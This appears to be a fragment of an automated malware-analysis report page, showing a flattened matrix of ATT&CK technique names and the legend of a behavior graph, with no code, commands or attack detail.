            Replication Through Removable MediaLaunchdRc.commonRc.commonSoftware Packing1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup ItemsFile Deletion1DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet